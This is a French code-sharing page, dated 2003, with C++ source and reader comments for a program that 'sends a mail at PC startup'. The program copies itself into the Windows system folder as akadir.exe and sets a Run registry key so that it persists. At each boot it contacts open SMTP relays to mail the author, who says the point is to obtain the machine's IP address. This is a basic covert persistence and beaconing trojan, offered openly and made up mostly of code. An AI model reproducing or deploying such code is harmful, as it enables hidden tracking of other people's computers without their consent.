begin process at 2012 05 27 16:05:07
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Réseaux & Internet

 > ENVOYER UN MAIL AU DEMARRAGE DU PC

ENVOYER UN MAIL AU DEMARRAGE DU PC


 Information sur la source

Note :
10 / 10 - par 1 personne
10,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Réseaux & Internet Classé sous :mail, auto, envoyer, send, demarrage Niveau :Débutant Date de création :01/05/2003 Date de mise à jour :01/05/2003 23:28:27 Vu :10 493

Auteur : zinotron

Ecrire un message privé
Commentaire sur cette source (10)
Ajouter un commentaire et/ou une note

 Description

clef dans la base de registre
copiage du soft dans c:\windows\system
mail
ya pas plus simple comme ecplication :p
compile ss VC6.00

Source

  • // ne pas oublier ws2_32.lib !!!!!!
  • #include <stdlib.h>
  • #include <windows.h>
  • #include <iostream.h>
  • #include <string.h>
  • #include <conio.h>
  • #include <Wininet.h>
  • #include <time.h>
  • #include <process.h>
  • #include "stdafx.h"
  • #include "stdio.h"
  • #include <winsock2.h>
  • #include<fstream.h>
  • // ya des includes inutiles ou en double ss doutes :p
  • void bdr()//bdr == base de registre
  • {
  • HKEY key; //nom de la clef
  • char windobedir[81]; //chemin du soft
  • char *progdir;
  • GetWindowsDirectory(windobedir,50);//ou est le soft ?
  • progdir = GetCommandLine();
  • strcat(windobedir,"\\system\\akadir.exe");
  • if(strcmp(progdir,windobedir) != 0)
  • CopyFile(progdir,windobedir,FALSE);
  • RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
  • RegSetValueEx(key,"[Belou]",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
  • RegCloseKey(key);
  • }
  • void mail() // /!\ c'est un CLIENT
  • {
  • WSADATA WSAData;
  • WSAStartup(MAKEWORD(2,0), &WSAData);
  • SOCKET sock;
  • SOCKADDR_IN sin;
  • char ip1[15] = "62.39.122.34";//je met 4 adresses paske ifrance c leseul ki fasse du relaying
  • char ip2[15] = "62.39.122.19";//et que j'ai po envie de me faire chier pour faire une recherche du FAI
  • char ip3[15] = "62.39.122.21";
  • char ip4[15] = "62.39.122.32";
  • char ip5[15] = "62.39.122.33";
  • char buffer[1024];
  • ofstream log("protsock.log"); // fichier pour enregistrer les données reçues.
  • sock = socket(AF_INET, SOCK_STREAM, 0);
  • int i = 1 ;
  • for (int o = 1; o < 6 ; o++)
  • {
  • switch (o)
  • {
  • case 1:
  • sin.sin_addr.s_addr = inet_addr(ip1);//ifrance
  • break;
  • case 2:
  • sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
  • break;
  • case 3:
  • sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
  • break;
  • case 4:
  • sin.sin_addr.s_addr = inet_addr(ip4);//ifrance
  • break;
  • case 5:
  • sin.sin_addr.s_addr = inet_addr(ip5);//ifrance
  • }
  • sin.sin_family = AF_INET;
  • sin.sin_port = htons(25);
  • connect(sock, (SOCKADDR *)&sin, sizeof(sin)); // on se connecte sur le serv
  • i = recv(sock, buffer, sizeof(buffer), 0); // le buffer récupère les données reçues.
  • if (i != 0) // si le buffer ne reçoit pas des données.
  • {
  • send(sock,"Helo toto\n",strlen("Helo toto\n"),0);
  • send(sock,"mail from:<biere_man@hotmail.com>\n",strlen("mail from:<biere_man@hotmail.com>\n"),0); //la j'ai mis MON adresse, alors change la si tu veux pas rin recevoir
  • send(sock,"rcpt to:<biere_man@hotmail.com>\n",strlen("rcpt to:<biere_man@hotmail.com>\n"),0); //note que j'ai mis 2 fois mon adresse... tu peux mettre une autre,mais moi c pour recuperer l'ip ce truc
  • send(sock,"data\n",strlen("data\n"),0);//bon la ca merde un peu en general .... mais je men fous j'ai l'ip et ce ce que je voulais
  • send(sock,buffer,strlen(buffer),0);
  • send(sock,"\n.\nquit\n",strlen("\n.\nquit\n"),0);
  • }
  • }
  • closesocket(sock); // on ferme le socket.
  • WSACleanup(); // on le nettoie
  • }
// ne pas oublier ws2_32.lib !!!!!!



#include <stdlib.h>
#include <windows.h>
#include <iostream.h>
#include <string.h>
#include <conio.h>
#include <Wininet.h>
#include <time.h>
#include <process.h>
#include "stdafx.h"
#include "stdio.h"
#include <winsock2.h>
#include<fstream.h>

// ya des includes inutiles ou en double ss doutes :p



void bdr()//bdr == base de registre
{
	HKEY key; //nom de la clef
	char windobedir[81]; //chemin du soft	
	char *progdir;
	
	GetWindowsDirectory(windobedir,50);//ou est le soft ?
	progdir = GetCommandLine();
	strcat(windobedir,"\\system\\akadir.exe");
	if(strcmp(progdir,windobedir) != 0)
		CopyFile(progdir,windobedir,FALSE);
	RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
	RegSetValueEx(key,"[Belou]",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
	RegCloseKey(key);		
}
void mail() // /!\ c'est un CLIENT
{
	WSADATA WSAData;
	WSAStartup(MAKEWORD(2,0), &WSAData);
	SOCKET sock;
	SOCKADDR_IN sin;
	char ip1[15] = "62.39.122.34";//je met 4 adresses paske ifrance c leseul ki fasse du relaying
	char ip2[15] = "62.39.122.19";//et que j'ai po envie de me faire chier pour faire une recherche du FAI
	char ip3[15] = "62.39.122.21";
	char ip4[15] = "62.39.122.32";
	char ip5[15] = "62.39.122.33";
	char buffer[1024];
	ofstream log("protsock.log");       // fichier pour enregistrer les données reçues.
	sock = socket(AF_INET, SOCK_STREAM, 0);
	int i = 1 ;
	for (int o = 1; o < 6 ; o++)
	{
		switch (o)		
		{
		case 1:
			sin.sin_addr.s_addr = inet_addr(ip1);//ifrance 
			break;
		case 2:
			sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
			break;
		case 3:
			sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
			break;
		case 4:
			sin.sin_addr.s_addr = inet_addr(ip4);//ifrance 
			break;
		case 5:
			sin.sin_addr.s_addr = inet_addr(ip5);//ifrance 
		}
		
		sin.sin_family = AF_INET;
		sin.sin_port = htons(25);       
		connect(sock, (SOCKADDR *)&sin, sizeof(sin));    // on se connecte sur le serv
		i = recv(sock, buffer, sizeof(buffer), 0);      // le buffer récupère les données reçues.
		if (i != 0)     // si le buffer ne reçoit pas des données.
		{
			send(sock,"Helo toto\n",strlen("Helo toto\n"),0);
			send(sock,"mail from:<biere_man@hotmail.com>\n",strlen("mail from:<biere_man@hotmail.com>\n"),0); //la j'ai mis MON adresse, alors change la si tu veux pas rin recevoir
			send(sock,"rcpt to:<biere_man@hotmail.com>\n",strlen("rcpt to:<biere_man@hotmail.com>\n"),0); //note que j'ai mis 2 fois mon adresse... tu peux mettre une autre,mais moi c pour recuperer l'ip ce truc
			send(sock,"data\n",strlen("data\n"),0);//bon la ca merde un peu en general .... mais je men fous j'ai l'ip et ce ce que je voulais
			send(sock,buffer,strlen(buffer),0);
			send(sock,"\n.\nquit\n",strlen("\n.\nquit\n"),0);
		}
	}	
	closesocket(sock);   // on ferme le socket.
	WSACleanup(); // on le nettoie
}


 Conclusion

on peut penser qu'une V2 viendra.....
bugs connu (attention .....) : n'envoie pas data !!!! (lie au fait que g mis deux fois la mm adresse ....) et pîs surtout ca c pas un bug, mais une fois que tu la execute, tu retrouve akadir.exe dans windows/system moi ca me derange po, mais bon, un mail de toi a chake demarrage, moi ca me gonlerait ...


 Sources du même auteur

STRING COMPARE
TRIE UN TABLAU D'ENTIER
INT ARGC, INT *ARGV[]
EXEMPLE (TOUT BETE) DE CLASS POUR LES NEOPHYTES
METTRE LE RESULTAT D'UNE COMMANDE DOS DANS UN FICHIER

 Sources de la même categorie

Source avec Zip Source avec une capture MINI SERVEUR HTTP [WINDOWS] par ganjarasta
Source avec Zip Source avec une capture CLIENT DE TEST MODBUS TCP par brunovan
Source avec Zip Source avec une capture SCANIP [ARP / ICMP] par ganjarasta
Source avec Zip Source avec une capture TRACEROUTE [WINPCAP] par ganjarasta
Source avec Zip SERVEUR MULTITHREAD [LINUX/WIN] par nipepsinicolas

 Sources en rapport avec celle ci

Source avec Zip EASY NETSEND par kanprog
Source avec Zip Source avec une capture Source .NET (Dotnet) SCANNER D'ADRESSES MAILS PRÉSENTENT SUR GOOGLE par Zaltez
Source avec Zip Source avec une capture [WIN32][C][DEV-C++] ANOMAIL ENVOIE SMTP SIMPLE par omnia
RECUPERER LE DNS DU SERVEUR MX MAIL D'UNE ADRESSE EMAIL par darkpoulpo
Source avec Zip LEDMAIL2 par f_l_a_s_h_b_a_c_k

Commentaires et avis

Commentaire de BlackGoddess le 05/05/2003 15:08:45

je me demande : il envoit pas 5 fois le mail ton prog ?

Commentaire de zinotron le 05/05/2003 17:22:45

bah si c un des pbl ...
mais comme ya que ifrance ke je connaisse ki gere le relaying au nivo des mails, bah g pris ifrance, et comme ay 5 serv, bah ca envoie 5 mails, mais si tu c comment definir sur un pc kel est le FAI, bah je te fais le reste ss pbl et t'auras k'un seul mail :p

Commentaire de BlackGoddess le 05/05/2003 18:39:45

mais pourquoi tu sors pas de ta boucle au 1er envoi réussi ?

Commentaire de JCpp le 31/08/2003 17:14:03

Comment on fait pour envoyer un fichier joint ?

Commentaire de zinotron le 31/08/2003 23:41:42

on scasses les ******* a nen plus finir, ou, autre option, on vas lire la RFC qui parle de l'encodage MIME (ya un prog ki fait ca sur cppfrance, envoyer des mails avec pieces jointes, c de Anacr0x je crois).
++

Commentaire de JCpp le 21/09/2003 08:58:46

Parement, le IP de ifrance a changé, par quel moyen je peux en trouver un autre ?
Merci

Commentaire de BlackGoddess le 21/09/2003 23:39:03

menu démarrer/executer -&gt; "cmd" sur NT/2000/XP, "command" sur 95/98/me
puis
ping ifrance.com

il va resoudre l'adresse, puis pinger l'ip.

Commentaire de zinotron le 22/09/2003 18:11:18

gethostbyname c pas mal non plus ...

Commentaire de kerneltony95 le 03/10/2006 00:20:54

mais quel est le but de ton code?

ca se vois c' est pas toi qui la coder c'est du bricolage?

Commentaire de thomwebster le 08/05/2007 16:09:11

As tu compris ce que faisait ce bout de code?
<code>
#  for (int o = 1; o < 6 ; o++)
# {
# switch (o)
# {
# case 1:
# sin.sin_addr.s_addr = inet_addr(ip1);//ifrance
# break;
# case 2:
# sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
# break;
# case 3:
# sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
# break;
# case 4:
# sin.sin_addr.s_addr = inet_addr(ip4);//ifrance
# break;
# case 5:
# sin.sin_addr.s_addr = inet_addr(ip5);//ifrance
# }
</code>
Tu fais une boucle pour o allant de 1 à 5 inclu et pour o=1 tu a une instruction, pour o=2 une autre ... pour o=5 encore une autre.
Donc ton bout de code en fait c'est:
<code>
sin.sin_addr.s_addr = inet_addr(ip1);//ifrance
sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
sin.sin_addr.s_addr = inet_addr(ip4);//ifrance
</code>
Sans boucle for ni switch.
ça fait la même chose que ton code et c'est bien plus simple non?

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Mail communication internet [ par Mr.X ] tous dabord bonjour a tousJe voudrais savoir s'il étais possible (je l'espere et le pense) d'envoyer un mail depuis un programme (si un commande toute Net send sous linux [ par jean84 ] Salut a tous ! Je voulais juste pose une question a propos de net send. Je voudrais pouvoir envoyer un net send via ma machine (suse linux) vers un p Mail avec pièce jointe [ par victorcoasne ] Bonjour, Je voudrais savoir comment envoyer un fichier par mail en passant par le client messagerie par d&#233;faut car je n'ai pas envie de faire co Envoyer un mail par smtp (Dev-Cpp) [ par zeeeleyou ] Bonjour,je cherche des tuto ou n'importe quoi pouvant m'aider pour d&#233;velopper en envoi de mail par smtp sur Dev-Cpp.Merci ! envoyer un mail en VC++ par SMTP [ par amizak ] Bonjour tt le monde.je developpe un eapplication pour l'envoie des email avec VC++ en utilisant le protocole smtp.j'utilise ma machine en tant que ser envoyer un mail sans ouvrir OE ou autre ??? [ par gege1024 ] c'est peut etre hors sujet , mais il y a peu j'ai vu une serie de commande DOS pour envoyer un mail sans ouverture d'outlook.....et je voudrais faire envoyer un mail en c++ [ par dacor ] Bonjour,comment je pourrais envoyer un mail (avec un sujet, corp) à partir de mon pg c++ sous linux.merci pour votre aide mail [ par anonyme_man_in_this_world ] salut&nbsp; !!il y en a plein de codes qui traitent ce sujet mais le probleme c'ets qu'il se basent sur lles fonctions Win32 .ce que je veux faire moi Problème Envoyer Mail ! : - ( ... [ par lol55 ] Bonjour,Je cherche un code qui montre comment envoyer un mail (sans pièce jointe), j'ai regardé toutes l'après-midi tout les codes du site mais à chaq SMTP : Problème avec l'envoi de pièces jointes [ par Sunsawe ] Salut à tous,Alors depuis un moment je tente de créer un petit client smtp en c++ et maintenant je m'attaque à l'envoi de pièce jointe.Biensur celà ne


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,562 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales